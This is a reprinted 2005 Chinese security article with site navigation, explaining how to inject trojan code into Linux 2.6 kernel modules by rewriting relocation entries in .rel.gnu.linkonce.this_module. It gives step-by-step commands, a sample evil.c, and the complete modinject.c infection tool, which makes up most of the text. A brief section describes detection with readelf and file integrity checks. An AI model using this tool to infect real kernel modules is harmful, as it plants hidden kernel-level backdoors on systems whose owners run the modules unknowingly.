首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
module injection in 2.6 kernel
来源:ercist.iscas.ac.cn 作者:CoolQ 发布时间:2005-01-23  

module injection in 2.6 kernel

|=-------------------[ module injection in 2.6 kernel ]-------------------=|

|=------------------------------------------------------------------------=|

|=---------------[ CoolQ <qufuping@ercist.iscas.ac.cn> ]-----------------=|

|=------------------------------------------------------------------------=|

0 - 前言

1 - 2.4 回顾

2 - 2.6 的变化

2.1 2.6的.ko文件

2.2 失效的原因

3 - 对策

3.1 修改.rel.gnu.linkonce.this_module

3.2 例子

4 - 检测module injection的方法

5 - 参考

6 - 代码

--[ 0 - 前言

phrack 61期有一篇不错的文章[1],给出了一种感染内核模块的方法,不过是基于2.4内核的,该方法在2.6上无效,但是思想还是通用的。通过对2.6内核加载的分析,了解两者之间的差异,并最终实现2.6下的module injection。

--[ 1 - 2.4 回顾

内核对模块的管理,是通过struct module来实现的,该结构的成员init/cleanup,代表加载/卸载模块后需要运行的初始化/收尾函数,它的赋值是通过以下代码实现的:

module->init = obj_symbol_final_value(f,

obj_find_symbol(f, "init_module"));

module->cleanup = obj_symbol_final_value(f,

obj_find_symbol(f, "cleanup_module"));

可见,insmod需要在.strtab中查找init_module/cleanup_module字符串,并根据索引值找到相应的.symtab中的符号,将相应的值赋值给module->init/cleanup。

因此,如果能把.strtab中别的字符串替换为init_module,那么系统加载的时候,运行的就不是原来的init_module函数了。


--[ 2 - 2.6 的变化


2.6中的模块子系统被完全重写,如果用[1]中的工具,发现无论怎么修改.strtab,运行的始终是原来的init_module。


--[ 2.1 2.6的.ko文件


2.6下的模块,扩展名为.ko,而不是2.4下的.o。很多初学者写完模块之后,会使用2.4的方法来编译模块

-----------------------------8 test.c 8--------------------------------------

#include <linux/init.h>

#include <linux/kernel.h>

#include <linux/module.h>

static int dummy_init(void)

{

printk("hello,world.\n");

return 0;

}

static void dummy_exit(void)

{

return;

}

module_init(dummy_init);

module_exit(dummy_exit);

MODULE_LICENSE("GPL")

------------------------------8 cut here 8-----------------------------------

# gcc -c -O2 -DMODULE -D__KERNEL__ -I/usr/src/linux test.c

# insmod test.o

No module found in object

insmod: error inserting 'test.o': -1 Invalid module format

正确的做法是写一个Makefile,由内核的Kbuild来帮你编译

-------------------------------8 Makefile 8-----------------------------------

obj-m := module.o

KDIR := /lib/modules/$(shell uname -r)/build

PWD := $(shell pwd)

default:

$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

--------------------------------8 cut here 8----------------------------------

#make

make -C /lib/modules/2.6.5-1.358/build SUBDIRS=/test modules

make[1]: Entering directory `/lib/modules/2.6.5-1.358/build'

CC [M] /test/modinject/test.o

Building modules, stage 2.

MODPOST

CC /test/modinject/test.mod.o

LD [M] /test/modinject/test.ko

make[1]: Leaving directory `/lib/modules/2.6.5-1.358/build'

#ll

-rw-r--r-- 1 root root 268 Jan 7 08:31 test.c

-rw-r--r-- 1 root root 2483 Jan 8 09:19 test.ko

-rw-r--r-- 1 root root 691 Jan 8 09:19 test.mod.c

-rw-r--r-- 1 root root 1964 Jan 8 09:19 test.mod.o

-rw-r--r-- 1 root root 1064 Jan 8 09:19 test.o

其实上边的test.o就是用gcc生成的test.o,而test.ko是使用下列命令来生成的

#ld -m elf_i386 -r -o test.ko test.o test.mod.o

再来看看test.mod.c,它是由/usr/src/linux/scripts/modpost.c来生成的

#cat test.mod.c

#include <linux/module.h>

#include <linux/vermagic.h>

#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

#undef unix

struct module __this_module

__attribute__((section(".gnu.linkonce.this_module"))) = {

.name = __stringify(KBUILD_MODNAME),

.init = init_module,

#ifdef CONFIG_MODULE_UNLOAD

.exit = cleanup_module,

#endif

};

static const struct modversion_info ____versions[]

__attribute_used__

__attribute__((section("__versions"))) = {

{ 0, "cleanup_module" },

{ 0, "init_module" },

{ 0, "struct_module" },

{ 0, "printk" },

};

static const char __module_depends[]

__attribute_used__

__attribute__((section(".modinfo"))) =

"depends=";

可见,test.mod.o只是产生了几个ELF的节,分别是modinfo, .gun.linkonce.this_module

(用于重定位,引进了rel.gnu.linkonce.this_module), __versions。而test.ko是test.o

和test.mod.o合并的结果。

--[ 2.2 失效的原因

在2.1给出的test.c中,模块的初始化函数是dummy_init,这是通过module_init(dummy_init)来实现的,module_init的作用是把dummy_init作为init_module的alias,这

个可以查看生成的符号表来验证:

16: 00000000 14 FUNC LOCAL DEFAULT 1 dummy_init

25: 00000000 14 FUNC GLOBAL DEFAULT 1 init_module

看, 符号的st_value都是0,而且除了BIND类型以外,其他的完全一样!

在2.6的内核源代码中,并没有见到对module->init赋值的操作。问题的关键就是

test.mod.c中的那个struct module __this_module,这实际上就是内核用来管理的module结构。内核装载模块的时候,会将这个节直接复制,并将module的指针指向__this_module, 而".init = init_module"将module->init初始化为init_module.

如果你了解符号的解析过程,你应该很清楚:符号的重定位不需要.strtab的参与

看一下Elf32_Rel的定义

typedef struct {

Elf32_Addr r_offset;

Elf32_Word r_info;

} Elf32_Rel;

和重定位节.rel.gnu.linkonce.this_module

Relocation section '.rel.gnu.linkonce.this_module' at offset 0x758 contains 2

entries:

Offset Info Type Sym.Value Sym. Name

00000068 00001901 R_386_32 00000000 init_module

0000018c 00001801 R_386_32 0000000e cleanup_module

0x68就是init在module struct中的偏移量,重定位的类型是R_386_32,重定位的目标是上边符号表中的25: 0x0(节中的偏移量) 14(大小) FUNC(该符号是函数) GLOBAL(全局)Default(可见域) 1(代表是Index为1的节 - .text) init_module(符号名)

也就是说,无论你将.strtab中的init_module修改为什么值,最终重定位的目标还是索引为25的符号(init_module这个字符串只是给人看得,重定位不使用)。

--[ 3 - 对策

--[ 3.1 修改.rel.gnu.linkonce.this_module

既然知道了问题的原因,解决的方法就很容易了:我们的目标从.strtab变成了.rel.gnu.linkonce.this_module中的Elf32_Rel entry。

具体的过程如下:

1. 编写木马模块,编译成.o(注意不是.ko),木马的内容在3.2中给出

2. ld -r -o final.ko good.ko evil.o

3. 找到final.ko中的.rel.gnu.linkonce.this_module节

4. 遍历所有的entry, 如果ELF32_R_SYM(rel->r_info) == orig_init_idx,将rel->r_info的symbol部分替换成木马的函数索引号,cleanup的情况相同

5. 将final.ko重命名为good.ko (因为ko中有一个meta data,名称必须相同)

--[ 3.2 例子

我们来把下列代码注射到上边的test.ko中

--------------------------------8 evil.c 8------------------------------------

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

extern int init_module(void);

int main(int argc, char *argv)

{

printk("hello,evil world.\n");

init_module();

return 0;

}

-------------------------------8 cut here 8-----------------------------------

1.# gcc -O2 -c -DMODULE -D__KERNEL__ -I/usr/src/linux-2.6/include evil.c

.OR.

# make (前题是你写了一个符合evil.c的Makefile)

2.# ld -r -o final.ko test.ko evil.o

3.# ./modinject final.ko main

[+] - Change Reloc init OK !

4.# mv final.ko test.ko

5.# insmod test.ko

hello,evil world.

hello,world.

OK. 目的达到。请读者自行考虑木马里调用的为什么是init_module,程序能正常运行的原因是什么,并对照2.4的相关部分。

--[ 4 - 检测module injection的方法

对付module injection的方法很多,文件完整性检查是方法之一。

如果没有准备哈希数据库,该怎么办呢?我们可以使用readelf或者objdump:

# readelf -r test.ko

...

Relocation section '.rel.gnu.linkonce.this_module' at offset 0x7a4 contains 2

entries:

Offset Info Type Sym.Value Sym. Name

00000068 00001c01 R_386_32 00000010 main <--- 应该是init_module

0000018c 00001901 R_386_32 0000000e cleanup_module

不过一定要瞪大眼睛哦,万一攻击者将init_module->init_modu1e,可不要被骗了 :-}

--[ 5 - 参考

[1] [http://www.phrack.org/show.php?p=61&a=10]

[2] kernel source code

[3] ELF规范

--[ 6 - 代码

/* Name : modinject.c

* Author : CoolQ

* Purpose: 2.6 kernel module injection

* Usage : # gcc -c evil.c

* # ld -r good.ko evil.o -o tmp.ko

* # mv tmp.ko good.ko # good.ko already infected

* # ./modinject good.ko evil_func_start evil_func_end

*/

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <unistd.h>

#include <strings.h>

#include <elf.h>

#include <sys/mman.h>

#include <sys/types.h>

#include <sys/stat.h>

#define ERROR(str) \

do{ \

perror(str); \

exit(EXIT_FAILURE); \

}while(0)

void usage(char *prog);

int check_hdr(Elf32_Ehdr *ehdr);

Elf32_Shdr *Elf32_GetSectionByIndex(Elf32_Ehdr *ehdr, int index);

Elf32_Shdr *Elf32_GetSectionByName(Elf32_Ehdr *ehdr, char *name);

Elf32_Sym *Elf32_GetSymbolByName(Elf32_Ehdr *ehdr, char *name);

int Elf32_GetSymbolIndexByName(Elf32_Ehdr *ehdr, char *name);

int Elf32_Change_Reloc(Elf32_Rel *sym_rel, int to_idx);

void *base; /* mmap base addr */

int main(int argc, char *argv[])

{

char *module_file, *evil_init_str, *evil_cleanup_str;

int fd, i;

struct stat stat;

Elf32_Ehdr *ehdr;

Elf32_Shdr *shdr, *module_sec;

int orig_init_idx, orig_cleanup_idx;

int evil_init_idx, evil_cleanup_idx;

Elf32_Rel *rel;

if(argc != 3 && argc != 4)

usage(argv[0]);

module_file = argv[1];

evil_init_str = argv[2];

if(argc == 4)

evil_cleanup_str = argv[3];

else

evil_cleanup_str = NULL;

if((fd = open(module_file, O_RDWR)) == -1)

ERROR("open file error.\n");

if(fstat(fd, &stat) == -1)

ERROR("get stat error.\n");

base = mmap(0, stat.st_size, PROT_READ | PROT_WRITE,

MAP_SHARED, fd, 0);

if(base == MAP_FAILED)

ERROR("mmap error.\n");

ehdr = (Elf32_Ehdr *)base;

if(check_hdr(ehdr) == -1)

ERROR("Not a valid Elf32 file.\n");

/* get struct module */

module_sec = Elf32_GetSectionByName(ehdr,

".rel.gnu.linkonce.this_module");

if(module_sec == -1)

ERROR("this is not a valid module file.\n");

/* get symbol index */

evil_init_idx = Elf32_GetSymbolIndexByName(ehdr, evil_init_str);

if(argc == 4)

evil_cleanup_idx = Elf32_GetSymbolIndexByName(ehdr, evil_cleanup_str);

else

evil_cleanup_idx = 0;

orig_init_idx = Elf32_GetSymbolIndexByName(ehdr, "init_module");

if(argc == 4)

orig_cleanup_idx = Elf32_GetSymbolIndexByName(ehdr, "cleanup_module");

else

orig_cleanup_idx = 0;

if(evil_init_idx == -1 || evil_cleanup_idx == -1

|| orig_init_idx == -1 || orig_cleanup_idx == -1)

ERROR("no such func names.\n");

/* change reloc symbols if necessary */

for(i = 0; i < module_sec->sh_size / sizeof(Elf32_Rel); i++){

rel = base + module_sec->sh_offset + i * sizeof(Elf32_Rel);

if(ELF32_R_SYM(rel->r_info) == orig_init_idx){

fprintf(stdout, "[+] - Change Reloc init OK !\n");

Elf32_Change_Reloc(rel, evil_init_idx);

}

else if(argc == 4 &&

ELF32_R_SYM(rel->r_info) == orig_cleanup_idx){

fprintf(stdout, "[+] - Change Reloc cleanup OK !\n");

Elf32_Change_Reloc(rel, evil_cleanup_idx);

}

}

msync(base, stat.st_size, MS_SYNC);

munmap(base, stat.st_size);

close(fd);

return 0;

}

void usage(char *prog)

{

fprintf(stderr, "Usage:\n");

fprintf(stderr, "\t%s infected.ko evil_func_start evil_func_end.\n",

prog);

fprintf(stderr, "OR\n");

fprintf(stderr, "\t%s infected.ko evil_func_start.\n");

exit(EXIT_FAILURE);

return;

}

int check_hdr(Elf32_Ehdr *ehdr)

{

/* some sanity checks */

if( ehdr->e_ident[EI_MAG0] != 0x7f ||

ehdr->e_ident[EI_MAG1] != 'E' ||

ehdr->e_ident[EI_MAG2] != 'L' ||

ehdr->e_ident[EI_MAG3] != 'F' ||

ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||

ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||

ehdr->e_ident[EI_VERSION] != EV_CURRENT ||

ehdr->e_type != ET_REL ||

ehdr->e_machine != EM_386 )

return -1;

else

return 0;

}

Elf32_Shdr *Elf32_GetSectionByIndex(Elf32_Ehdr *ehdr, int index)

{

return(base + (ehdr->e_shoff + sizeof(Elf32_Shdr) * index));

}

Elf32_Shdr *Elf32_GetSectionByName(Elf32_Ehdr *ehdr, char *name)

{

int i;

char *secname;

Elf32_Shdr *strtab, *sec;

strtab = Elf32_GetSectionByIndex(ehdr, ehdr->e_shstrndx);

for(i = 0; i < ehdr->e_shnum; i++){

sec = Elf32_GetSectionByIndex(ehdr, i);

secname = base + strtab->sh_offset + sec->sh_name;

if(strcmp(name, secname) == 0)

return(sec);

}

return -1;

}

Elf32_Sym *Elf32_GetSymbolByName(Elf32_Ehdr *ehdr, char *name)

{

int i;

char *sym_name;

Elf32_Shdr *symtab, *strtab;

Elf32_Sym *symbol;

symtab = Elf32_GetSectionByName(ehdr, ".symtab");

strtab = Elf32_GetSectionByName(ehdr, ".strtab");

if(symtab == -1 || strtab == -1)

ERROR("no symtab section or strtab section.\n");

for(i = 0; i < symtab->sh_size / sizeof(Elf32_Sym); i++){

symbol = base + symtab->sh_offset + i * sizeof(Elf32_Sym);

sym_name = base + strtab->sh_offset + symbol->st_name;

if(strcmp(name, sym_name) == 0 && /* only return func symbol */

ELF32_ST_TYPE(symbol->st_info) == STT_FUNC)

return symbol;

}

return -1;

}

int Elf32_GetSymbolIndexByName(Elf32_Ehdr *ehdr, char *name)

{

int i;

char *sym_name;

Elf32_Shdr *symtab, *strtab;

Elf32_Sym *symbol;

symtab = Elf32_GetSectionByName(ehdr, ".symtab");

strtab = Elf32_GetSectionByName(ehdr, ".strtab");

if(symtab == -1 || strtab == -1)

ERROR("no symtab section or strtab section.\n");

for(i = 0; i < symtab->sh_size / sizeof(Elf32_Sym); i++){

symbol = base + symtab->sh_offset + i * sizeof(Elf32_Sym);

sym_name = base + strtab->sh_offset + symbol->st_name;

if(strcmp(name, sym_name) == 0 &&

ELF32_ST_TYPE(symbol->st_info) == STT_FUNC)

return i;

}

return -1;

}

int Elf32_Change_Reloc(Elf32_Rel *sym_rel, int to_idx)

{

unsigned int type;

type = ELF32_R_TYPE(sym_rel->r_info);

sym_rel->r_info = ELF32_R_INFO(to_idx, type);

return 0;

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·webshell对IIS单用户服务器的权
·黑客SQL服务器入侵实战演习
·智能ABC输入法溢出分析
·火狐技术联盟发现的两款论坛程序
·两个未公开的ACCESS方法的使用技
·google hacking的实现以及应用
·第一个反弹木马代码
·再谈防火墙及防火墙的渗透
·破译动网验证码的简单方法
·WEB入侵的过程jsp
·IPB漏洞再现江湖
·MS04044漏洞溢出利用方法之一及
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved